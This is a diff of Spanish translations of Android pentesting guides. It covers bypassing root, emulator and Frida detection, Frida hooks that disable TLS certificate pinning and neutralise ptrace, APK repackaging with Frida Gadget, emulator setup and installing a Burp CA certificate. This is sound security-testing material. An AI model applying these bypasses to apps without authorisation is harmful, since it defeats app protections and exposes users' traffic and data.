- Comprobaciones de Frida/debugger (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), escaneo de /proc, classpath, loaded libs
- Antidebug nativo: ptrace(), syscalls, antiattach, breakpoints, inline hooks
- Comprobaciones en init temprano: Application.onCreate() u hooks de inicio de proceso que provocan crash si la instrumentación está presente
- TLS pinning: TrustManager/HostnameVerifier personalizados, OkHttp CertificatePinner, Conscrypt pinning, pins nativos
- Comprobaciones de inicio temprano: Application.onCreate() o hooks de arranque del proceso que provocan un crash si instrumentation está presente
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
## Paso 1 — Victoria rápida: ocultar root con Magisk DenyList
@ -18,30 +18,30 @@ Esta página ofrece un flujo de trabajo práctico para recuperar el análisis di
- Habilitar DenyList, añadir el paquete objetivo
- Reiniciar y volver a probar
Muchas apps solo buscan indicadores obvios (su/rutas de Magisk/getprop). DenyList a menudo neutraliza comprobaciones ingenuas.
Muchas apps solo buscan indicadores obvios (su/Magisk paths/getprop). DenyList a menudo neutraliza comprobaciones ingenuas.
References:
Referencias:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
## Paso 2 — Tests rápidos de 30 segundos con Frida Codeshare
## Paso 2 — Pruebas de Frida Codeshare de 30 segundos
Prueba scripts comunes dropin antes de profundizar:
Prueba scripts dropin comunes antes de profundizar:
- anti-root-bypass.js
- anti-frida-detection.js
- hide_frida_gum.js
Example:
Ejemplo:
```bash
frida -U -f com.example.app -l anti-frida-detection.js
```
Normalmente crean stubs para las comprobaciones Java de root/debug, los process/service scans y la llamada nativa ptrace(). Útiles en apps poco protegidas; los objetivos reforzados pueden necesitar hooks personalizados.
Estos típicamente stub Java root/debug checks, process/service scans y ptrace() nativo. Útil en apps poco protegidas; hardened targets pueden necesitar tailored hooks.
- Codeshare: https://codeshare.frida.re/
## Automatizar con Medusa (Frida framework)
Medusa proporciona 90+ módulos listos para usar para SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, y más.
Medusa proporciona más de 90 módulos listos para SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception y más.
```bash
git clone https://github.com/Ch0pin/medusa
cd medusa
@ -54,25 +54,25 @@ use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass
run com.target.app
```
Consejo: Medusa es ideal para conseguir victorias rápidas antes de escribir hooks personalizados. También puedes seleccionar módulos y combinarlos con tus propios scripts.
Consejo: Medusa es excelente para obtener resultados rápidos antes de escribir hooks personalizados. También puedes seleccionar módulos y combinarlos con tus propios scripts.
## Paso 3 — Evadir detectores en tiempo de inicialización adjuntando más tarde
## Paso 3 — Eludir detectores en tiempo de inicialización adjuntando más tarde
Muchas detecciones sólo se ejecutan durante el spawn del proceso/onCreate(). Spawntime injection (-f) o gadgets son detectados; adjuntar después de que la UI cargue puede pasar desapercibido.
Muchas detecciones solo se ejecutan durante el spawn del proceso/onCreate(). Spawntime injection (-f) o gadgets son detectados; adjuntar después de que la UI ha cargado puede pasar desapercibido.
```bash
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
```
Si esto funciona, mantén la sesión estable y procede a mapear y comprobar los stubs.
Si esto funciona, mantén la sesión estable y procede a mapear y comprobar stubs.
## Paso 4 — Mapear la lógica de detección con Jadx y búsqueda de strings
## Paso 4 — Mapear la lógica de detección vía Jadx y búsqueda de cadenas
Static triage keywords in Jadx:
Palabras clave de triaje estático en Jadx:
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
Typical Java patterns:
Patrones Java típicos:
```java
public boolean isFridaDetected() {
return getRunningServices().contains("frida");
@ -81,13 +81,13 @@ return getRunningServices().contains("frida");
APIs comunes para revisar/hook:
- android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics)
- java.lang.System.loadLibrary / System.load (puente nativo)
- java.lang.Runtime.exec / ProcessBuilder (comandos de sondeo)
- android.os.SystemProperties.get (heurísticas de root/emulator)
## Paso 5 — Sustitución en tiempo de ejecución con Frida (Java)
## Paso 5 — Runtime stubbing con Frida (Java)
Sobrescribe validaciones personalizadas para devolver valores seguros sin reempaquetado:
Sobrescribe guards personalizados para devolver valores seguros sin repacking:
```js
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
```
¿Clasificando fallos tempranos? Dump classes justo antes de que se cierre para identificar namespaces de detección probables:
¿Clasificando fallos tempranos? Vuelca las clases justo antes de que falle para identificar los espacios de nombres de detección probables:
```js
Java.perform(() => {
Java.enumerateLoadedClasses({
@ -119,7 +119,7 @@ RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {}
});
Registra y neutraliza métodos sospechosos para confirmar el flujo de ejecución:
Registrar y neutralizar métodos sospechosos para confirmar el flujo de ejecución:
```js
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
@ -129,9 +129,9 @@ return false;
};
});
```
## Evadir la detección de emulador/VM (Java stubs)
## Bypass emulator/VM detection (Java stubs)
Heurísticas comunes: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE que contienen generic/goldfish/ranchu/sdk; artefactos de QEMU como /dev/qemu_pipe, /dev/socket/qemud; MAC por defecto 02:00:00:00:00:00; NAT 10.0.2.x; ausencia de telefonía/sensores.
Heurísticas comunes: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE containing generic/goldfish/ranchu/sdk; QEMU artifacts like /dev/qemu_pipe, /dev/socket/qemud; default MAC 02:00:00:00:00:00; 10.0.2.x NAT; missing telephony/sensors.
Falsificación rápida de campos Build:
```js
@ -143,11 +143,11 @@ Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});
```
Complementar con stubs para comprobaciones de existencia de archivos y identificadores (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) para devolver valores realistas.
Completar con stubs para comprobaciones de existencia de archivos e identificadores (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) para devolver valores realistas.
## SSL pinning bypass quick hook (Java)
Neutraliza TrustManagers personalizados y fuerza contextos SSL permisivos:
Neutralizar TrustManagers personalizados y forzar contextos SSL permisivos:
```js
Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
@ -166,12 +166,12 @@ return SSLContextInit.call(this, km, TrustManagers, sr);
});
```
Notas
- Extender para OkHttp: hook okhttp3.CertificatePinner y HostnameVerifier según sea necesario, o usa un unpinning script universal de CodeShare.
- Extiende para OkHttp: hook okhttp3.CertificatePinner y HostnameVerifier según sea necesario, o usa un script universal de unpinning de CodeShare.
- Ejemplo de ejecución: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
## Paso 6 — Sigue la pista JNI/nativa cuando los hooks de Java fallen
## Paso 6 — Sigue el rastro JNI/native cuando los hooks de Java fallen
Rastrea los puntos de entrada JNI para localizar cargadores nativos e inicialización de detección:
Rastrea los puntos de entrada JNI para localizar cargadores nativos y la inicialización de detección:
```bash
frida-trace -n com.example.app -i "JNI_OnLoad"
```
@ -182,11 +182,11 @@ nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
```
Interactivo/nativo reversing:
Reversing interactivo/nativo:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
Ejemplo: neutralizar ptrace para derrotar un simple antidebug en libc:
Ejemplo: neutralizar ptrace para eludir un antidebug simple en libc:
```js
const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
@ -202,28 +202,28 @@ reversing-native-libraries.md
## Paso 7 — Objection patching (embed gadget / strip basics)
Cuando prefieras repacking en lugar de runtime hooks, prueba:
Si prefieres repacking en lugar de runtime hooks, prueba:
```bash
objection patchapk --source app.apk
```
Notas:
- Requiere apktool; asegúrate de una versión actual siguiendo la guía oficial para evitar problemas de compilación: https://apktool.org/docs/install
- Gadget injection permite instrumentation sin root, pero aún puede ser detectado por inittime checks más fuertes.
- Requiere apktool; asegúrate de usar una versión reciente según la guía oficial para evitar problemas de build: https://apktool.org/docs/install
- Gadget injection permite instrumentation sin root, pero aún puede ser detectada por checks más fuertes en inittime.
Opcionalmente, añade módulos LSPosed y Shamiko para un ocultamiento de root más sólido en entornos Zygisk, y configura DenyList para cubrir procesos hijo.
Opcionalmente, añade módulos LSPosed y Shamiko para un ocultamiento de root más sólido en entornos Zygisk, y configura DenyList para cubrir procesos hijos.
Referencias:
- Objection: https://github.com/sensepost/objection
## Paso 8 — Solución alternativa: Parchear TLS pinning para visibilidad de red
## Paso 8 — Alternativa: Parchear TLS pinning para visibilidad de red
Si instrumentation está bloqueado, aún puedes inspeccionar el tráfico eliminando el pinning de forma estática:
Si la instrumentation está bloqueada, aún puedes inspeccionar el tráfico eliminando el pinning de forma estática:
```bash
apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
```
- Herramienta: https://github.com/shroudedcode/apk-mitm
- Para trucos de confianza de CA en la configuración de red (y la confianza de CA de usuario en Android 7+), ver:
- Para los trucos de CAtrust en la configuración de red (y la confianza de CA de usuario en Android 7+), consulte:
{{#ref}}
make-apk-accept-ca-certificate.md
@ -233,7 +233,7 @@ make-apk-accept-ca-certificate.md
install-burp-certificate.md
{{#endref}}
## Hoja de trucos de comandos útiles
## Hoja de referencia rápida de comandos
```bash
# List processes and attach
frida-ps -Uai
@ -253,9 +253,9 @@ apk-mitm app.apk
```
## Consejos y advertencias
- Prefiere attaching tarde en lugar de spawning cuando las apps se bloquean al iniciarse
- Algunas detecciones se vuelven a ejecutar en flujos críticos (p. ej., payment, auth) — mantén los hooks activos durante la navegación
- Mezcla estático y dinámico: string hunt en Jadx para acotar clases; luego hook methods para verificar en runtime
- Prefiere attaching late en lugar de spawning cuando las apps se bloquean al iniciarse
- Algunas detecciones se reejecutan en flujos críticos (p. ej., payment, auth) — mantén hooks activos durante la navegación
- Mezcla static y dynamic: string hunt en Jadx para acotar clases; luego hookea métodos para verificar en runtime
- Las apps hardened pueden usar packers y native TLS pinning — espera tener que reverse native code
## Referencias

View File

@ -1,4 +1,4 @@
# AVD - Android Virtual Device
# AVD - Dispositivo Virtual de Android
{{#include ../../banners/hacktricks-training.md}}
@ -9,26 +9,26 @@ Muchas gracias a [**@offsecjay**](https://twitter.com/offsecjay) por su ayuda al
Android Studio permite **ejecutar máquinas virtuales de Android que puedes usar para probar APKs**. Para usarlas necesitarás:
- Las **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
- O **Android Studio** (con Android SDK tools) - [Download here](https://developer.android.com/studio).
- O **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio).
En Windows (en mi caso) **después de instalar Android Studio** tuve las **SDK Tools instaladas en**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
En mac puedes **descargar las SDK tools** y tenerlas en el PATH ejecutando:
En mac puedes **descargar los SDK tools** y tenerlos en el PATH ejecutando:
```bash
brew tap homebrew/cask
brew install --cask android-sdk
```
O desde **Android Studio GUI** como se indica en [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) que los instalará en `~/Library/Android/sdk/cmdline-tools/latest/bin/`, `~/Library/Android/sdk/platform-tools/` y `~/Library/Android/sdk/emulator/`
O desde **Android Studio GUI** como se indica en [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) que los instalará en `~/Library/Android/sdk/cmdline-tools/latest/bin/` y `~/Library/Android/sdk/platform-tools/` y `~/Library/Android/sdk/emulator/`
Para los problemas con Java:
Para los problemas de Java:
```java
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
```
## GUI
### Preparar la Máquina Virtual
### Preparar Máquina Virtual
Si instalaste Android Studio, simplemente puedes abrir la vista principal del proyecto y acceder: _**Tools**_ --> _**AVD Manager.**_
Si instalaste Android Studio, solo abre la vista principal del proyecto y accede a: _**Tools**_ --> _**AVD Manager.**_
<div align="center" data-full-width="false">
@ -43,31 +43,31 @@ Luego, haz clic en _**Create Virtual Device**_
_**selecciona** el teléfono que quieres usar_ y haz clic en _**Next.**_
> [!WARNING]
> Si necesitas un teléfono con Play Store instalado selecciona uno con el icono de Play Store.
> Si necesitas un teléfono con Play Store instalado, selecciona uno con el icono de Play Store en él!
>
> <img src="../../images/image (1144).png" alt="" data-size="original">
En la vista actual podrás **seleccionar y descargar la imagen de Android** que ejecutará el teléfono:
En la vista actual podrás **seleccionar y descargar la imagen de Android** que va a ejecutar el teléfono:
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
Entonces, selecciónala y si no está descargada haz clic en el símbolo _**Download**_ junto al nombre (**espera hasta que la imagen se descargue**).\
Una vez que la imagen esté descargada, simplemente selecciona **`Next`** y **`Finish`**.
Así que, selecciónala y si no está descargada haz clic en el símbolo _**Download**_ junto al nombre (**espera hasta que la imagen se descargue).**\
Una vez la imagen esté descargada, simplemente selecciona **`Next`** y **`Finish`**.
La máquina virtual será creada. Ahora **cada vez que accedas al AVD Manager estará presente**.
### Ejecutar la Máquina Virtual
### Ejecutar Máquina Virtual
Para **ejecutarla** solo presiona el _**Start button**_.
![](<../../images/image (518).png>)
## Herramienta de Línea de Comandos
## Herramienta de línea de comandos
> [!WARNING]
> Para macOS puedes encontrar la herramienta `avdmanager` en `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` y el `emulator` en `/Users/<username>/Library/Android/sdk/emulator/emulator` si los tienes instalados.
Primero necesitas **decidir qué teléfono quieres usar**, para ver la lista de teléfonos disponibles ejecuta:
Primero necesitas **decidir qué teléfono quieres usar**, para ver la lista de posibles teléfonos ejecuta:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@ -104,7 +104,7 @@ Y **descarga** el que (o todos) quieras usar con:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
Una vez que hayas descargado la imagen de Android que quieres usar, puedes **listar todas las imágenes de Android descargadas** con:
Una vez que hayas descargado la imagen de Android que quieras usar, puedes **listar todas las imágenes de Android descargadas** con:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
----------
@ -120,7 +120,7 @@ Type: Platform
API level: 29
Revision: 4
```
En este momento has decidido el dispositivo que quieres usar y has descargado la imagen de Android, así que **puedes crear la máquina virtual usando**:
En este momento has decidido el dispositivo que quieres usar y has descargado la imagen de Android, por lo que **puedes crear la máquina virtual usando**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
@ -143,7 +143,7 @@ Error: Google pixel_2 no longer exists as a device
### Ejecutar máquina virtual
> [!WARNING]
> Para macOS puedes encontrar la herramienta `avdmanager` en `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` y el `emulator` en `/Users/<username>/Library/Android/sdk/emulator/emulator` si los tienes instalados.
> For macOS you can find the `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` if you have them installed.
Ya hemos visto cómo puedes listar las máquinas virtuales creadas, pero **también puedes listarlas usando**:
```bash
@ -162,31 +162,31 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
```
### Opciones de línea de comandos
Sin embargo, hay **muchas opciones útiles de línea de comandos** que puedes usar para iniciar una máquina virtual. A continuación puedes encontrar algunas opciones interesantes, pero puedes [**encontrar la lista completa aquí**](https://developer.android.com/studio/run/emulator-commandline)
Sin embargo, hay **muchas opciones útiles de línea de comandos** que puedes usar para iniciar una máquina virtual. A continuación puedes encontrar algunas opciones interesantes pero puedes [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
**Arranque**
- `-snapshot name` : Start VM snapshot
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : List all the snapshots recorded
- `-snapshot name` : Inicia un snapshot de la VM
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Lista todos los snapshots registrados
**Red**
- `-dns-server 192.0.2.0, 192.0.2.255` : Permite indicar, separados por comas, los servidores DNS para la VM.
- **`-http-proxy 192.168.1.12:8080`** : Permite indicar un HTTP proxy a usar (muy útil para capturar el tráfico usando Burp)
- `-dns-server 192.0.2.0, 192.0.2.255` : Permite indicar servidores DNS separados por comas para la VM.
- **`-http-proxy 192.168.1.12:8080`** : Permite indicar un proxy HTTP a usar (muy útil para capturar el tráfico con Burp)
- Si la configuración del proxy no funciona por alguna razón, intenta configurarlos internamente o usando una aplicación como "Super Proxy" o "ProxyDroid".
- `-netdelay 200` : Set the network latency emulation in milliseconds.
- `-port 5556` : Set the TCP port number that's used for the console and adb.
- `-ports 5556,5559` : Set the TCP ports used for the console and adb.
- **`-tcpdump /path/dumpfile.cap`** : Capture all the traffic in a file
- `-netdelay 200` : Establece la emulación de latencia de red en milisegundos.
- `-port 5556` : Establece el número de puerto TCP que se usa para la consola y adb.
- `-ports 5556,5559` : Establece los puertos TCP usados para la consola y adb.
- **`-tcpdump /path/dumpfile.cap`** : Captura todo el tráfico en un archivo
**Sistema**
- `-selinux {disabled|permissive}` : Set the Security-Enhanced Linux security module to either disabled or permissive mode on a Linux operating system.
- `-timezone Europe/Paris` : Set the timezone for the virtual device
- `-screen {touch(default)|multi-touch|o-touch}` : Set emulated touch screen mode.
- **`-writable-system`** : Use this option to have a writable system image during your emulation session. You will need also to run `adb root; adb remount`. This is very useful to install a new certificate in the system.
- `-selinux {disabled|permissive}` : Configura el módulo de seguridad Security-Enhanced Linux (SELinux) en modo disabled o permissive en un sistema Linux.
- `-timezone Europe/Paris` : Establece la zona horaria para el dispositivo virtual
- `-screen {touch(default)|multi-touch|o-touch}` : Configura el modo de pantalla táctil emulado.
- **`-writable-system`** : Usa esta opción para tener una imagen del sistema escribible durante tu sesión de emulación. También necesitarás ejecutar `adb root; adb remount`. Esto es muy útil para instalar un certificado nuevo en el sistema.
## Configuración de la CLI en Linux (SDK/AVD inicio rápido)
## Configuración CLI en Linux (SDK/AVD quickstart)
Las herramientas CLI oficiales facilitan crear emuladores rápidos y depurables sin Android Studio.
```bash
@ -217,11 +217,11 @@ adb root
adb shell whoami # expect: root
```
Notas
- Variantes de imágenes del sistema: google_apis (debuggable, permite `adb root`), google_apis_playstore (not rootable), aosp/default (ligera).
- Tipos de build: userdebug suele permitir `adb root` en imágenes con capacidad de depuración. Las imágenes de Play Store son builds de producción y bloquean el root.
- En hosts x86_64, la emulación ARM64 a nivel de sistema completo no es compatible desde API 28+. Para Android 11+ usa imágenes Google APIs/Play que incluyen traducción por app de ARM a x86 para ejecutar muchas apps exclusivas de ARM rápidamente.
- System image flavors: google_apis (debuggable, permite `adb root`), google_apis_playstore (no rootable), aosp/default (ligera).
- Build types: userdebug suele permitir `adb root` en imágenes con capacidad de debug. Las imágenes Play Store son builds de producción y bloquean el root.
- En hosts x86_64, la emulación de sistema completo ARM64 no es compatible desde API 28+. Para Android 11+ usa imágenes Google APIs/Play que incluyen traducción ARM-to-x86 por aplicación para ejecutar rápidamente muchas aplicaciones exclusivas de ARM.
### Snapshots desde la CLI
### Snapshots from CLI
```bash
# Save a clean snapshot from the running emulator
adb -s emulator-5554 emu avd snapshot save my_clean_setup
@ -231,29 +231,29 @@ emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
```
## ARM→x86 traducción de binarios (Android 11+)
Google APIs y las imágenes de Play Store en Android 11+ pueden traducir binarios de apps ARM por proceso mientras mantienen el resto del sistema nativo x86/x86_64. Esto suele ser lo suficientemente rápido para probar muchas aplicaciones solo ARM en escritorio.
Las imágenes Google APIs y Play Store en Android 11+ pueden traducir binarios de apps ARM por proceso manteniendo el resto del sistema nativo x86/x86_64. Esto suele ser lo suficientemente rápido para probar muchas apps solo ARM en el escritorio.
> Consejo: Prefiere las imágenes Google APIs x86/x86_64 durante los pentests. Las imágenes Play son convenientes pero bloquean `adb root`; úsalas solo cuando necesites específicamente Play services y aceptes la falta de root.
> Consejo: Prefiere imágenes Google APIs x86/x86_64 durante pentests. Las imágenes Play son convenientes pero bloquean `adb root`; úsalas solo cuando requieras específicamente Play services y aceptes la falta de root.
## Rooting de un dispositivo con Play Store
## Obtener root en un dispositivo Play Store
Si descargaste un dispositivo con Play Store no vas a poder obtener root directamente, y obtendrás este mensaje de error
Si descargaste un dispositivo con Play Store no vas a poder obtener root directamente, y recibirás este mensaje de error
```
$ adb root
adbd cannot run as root in production builds
```
Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) pude rootearlo (sigue por ejemplo [**este vídeo**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **o** [**este otro**](https://www.youtube.com/watch?v=qQicUW0svB8)).
Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) I was able to root it (follow for example [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **or** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
## Instalar certificado de Burp
## Instalar el certificado de Burp
Consulta la siguiente página para aprender a instalar un certificado CA personalizado:
Consulta la siguiente página para aprender cómo instalar un certificado CA personalizado:
{{#ref}}
install-burp-certificate.md
{{#endref}}
## Opciones útiles de AVD
## Buenas opciones de AVD
### Tomar una instantánea

View File

@ -1,4 +1,4 @@
# Frida Tutorial
# Tutorial de Frida
{{#include ../../../banners/hacktricks-training.md}}
@ -15,7 +15,7 @@ Comando de una sola línea para reiniciar adb en modo root, conectarse a él, su
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
**Comprueba** si está **funcionando**:
**Comprueba** si **funciona**:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
@ -24,8 +24,8 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
Dos formas comunes de instrumentar aplicaciones Android con Frida:
- Frida server (rooted devices): Empuja y ejecuta un daemon nativo que te permite adjuntarte a cualquier proceso.
- Frida Gadget (no root): Incluye Frida como una biblioteca compartida dentro del APK y la carga automáticamente en el proceso objetivo.
- Frida server (rooted devices): Enviar y ejecutar un demonio nativo que te permite adjuntarte a cualquier proceso.
- Frida Gadget (no root): Incrusta Frida como una librería compartida dentro del APK y la carga automáticamente en el proceso objetivo.
Frida server (rooted)
```bash
@ -42,9 +42,9 @@ frida -U -n com.example.app
```
Frida Gadget (no-root)
1) Desempaqueta el APK, añade el gadget .so y la config:
1) Desempaqueta el APK, añade el gadget .so y la configuración:
- Coloca libfrida-gadget.so en lib/<abi>/ (p. ej., lib/arm64-v8a/)
- Crea assets/frida-gadget.config con la configuración para cargar tu script
- Crea assets/frida-gadget.config con la configuración de carga de tus scripts
Ejemplo frida-gadget.config
```json
@ -54,7 +54,7 @@ Ejemplo frida-gadget.config
}
```
2) Referencia/carga el gadget para que se inicialice temprano:
- Lo más sencillo: Añade un pequeño stub Java con System.loadLibrary("frida-gadget") en Application.onCreate(), o usa la carga nativa de librerías ya presente.
- Lo más sencillo: Añade un pequeño stub Java con System.loadLibrary("frida-gadget") en Application.onCreate(), o usa la carga de librería nativa ya existente.
3) Reempaqueta y firma el APK, luego instálalo:
```bash
@ -64,20 +64,20 @@ apktool b app_m -o app_gadget.apk
uber-apk-signer -a app_gadget.apk -o out_signed
adb install -r out_signed/app_gadget-aligned-debugSigned.apk
```
4) Adjuntar desde el host al proceso del gadget:
4) Adjuntar desde el host al proceso gadget:
```bash
frida-ps -Uai
frida -U -n com.example.app
```
Notas
- Gadget es detectado por algunas protecciones; mantén los nombres/rutas sigilosos y cárgalo tarde/condicionalmente si es necesario.
- En aplicaciones endurecidas, prefiere pruebas en dispositivos rooteados con server + late attach, o combina con ocultamiento Magisk/Zygisk.
- Gadget es detectado por algunas protecciones; mantiene nombres/rutas discretos y cárgalo tarde/condicionalmente si es necesario.
- En aplicaciones reforzadas, prefiere pruebas con root con server + late attach, o combínalo con ocultación Magisk/Zygisk.
## Tutoriales
### [Tutorial 1](frida-tutorial-1.md)
**Fuente**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**De**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Código fuente**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
@ -85,21 +85,21 @@ Notas
### [Tutorial 2](frida-tutorial-2.md)
**Fuente**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Partes 2, 3 & 4)\
**APKs y código fuente**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**De**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**Sigue el[ link to read it.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
**Fuente**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**De**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
**Sigue el [link to read it](owaspuncrackable-1.md).**
**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**Puedes encontrar más Awesome Frida scripts aquí:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## Ejemplos rápidos
## Ejemplos Rápidos
### Calling Frida from command line
```bash
@ -125,9 +125,9 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
### Hooking funciones sin parámetros
### Hooking de funciones sin parámetros
Hook the function `a()` de la clase `sg.vantagepoint.a.c`
Hook la función `a()` de la clase `sg.vantagepoint.a.c`
```javascript
Java.perform(function () {
; rootcheck1.a.overload().implementation = function() {
@ -158,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
Hook android `.onCreate()`
Hook en Android `.onCreate()`
```javascript
var activity = Java.use("android.app.Activity")
activity.onCreate.overload("android.os.Bundle").implementation = function (
@ -168,9 +168,9 @@ send("Activity HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
### Hooking functions con parámetros y recuperando el valor
### Hooking de funciones con parámetros y recuperación del valor
Hooking a decryption function. Imprime el input, llama a la función original para decrypt el input y, finalmente, imprime los datos en claro:
Hooking de una función de descifrado. Imprime la entrada, llama a la función original para descifrar la entrada y, finalmente, imprime los datos en claro:
```javascript
function getString(data) {
var ret = ""
@ -210,9 +210,9 @@ console.log("Return value: " + ret)
return ret
}
```
### Obteniendo un objeto ya creado de una clase
### Obteniendo un objeto de una clase ya creado
Si quieres extraer algún atributo de un objeto creado, puedes usar esto.
Si quieres extraer algún atributo de un objeto ya creado, puedes usar esto.
En este ejemplo verás cómo obtener el objeto de la clase my_activity y cómo llamar a la función .secret() que imprimirá un atributo privado del objeto:
```javascript

View File

@ -5,7 +5,7 @@
## Proxy a nivel del sistema vía ADB
Configura un proxy HTTP global para que todas las apps enruten el tráfico a través de tu interceptor (Burp/mitmproxy):
Configura un proxy HTTP global para que todas las aplicaciones enruten el tráfico a través de tu interceptor (Burp/mitmproxy):
```bash
# Set proxy (device/emulator must reach your host IP)
adb shell settings put global http_proxy 192.168.1.2:8080
@ -21,12 +21,12 @@ Primero necesitas descargar el certificado Der desde Burp. Puedes hacerlo en _**
![](<../../images/image (367).png>)
**Exporta el certificado en formato Der** y vamos a **transformarlo** a una forma que **Android** pueda **entender.** Ten en cuenta que **para configurar el certificado de Burp en la máquina Android en AVD** necesitas **ejecutar** esta máquina **con** la opción **`-writable-system`**.\
Por ejemplo, puedes ejecutarla así:
**Export the certificate in Der format** y vamos a **transformarlo** a una forma que **Android** pueda **entender.** Ten en cuenta que **para configurar el certificado de burp en la máquina Android en AVD** necesitas **ejecutar** esta máquina **con** la opción **`-writable-system`**.\
Por ejemplo puedes ejecutarla así:
```bash
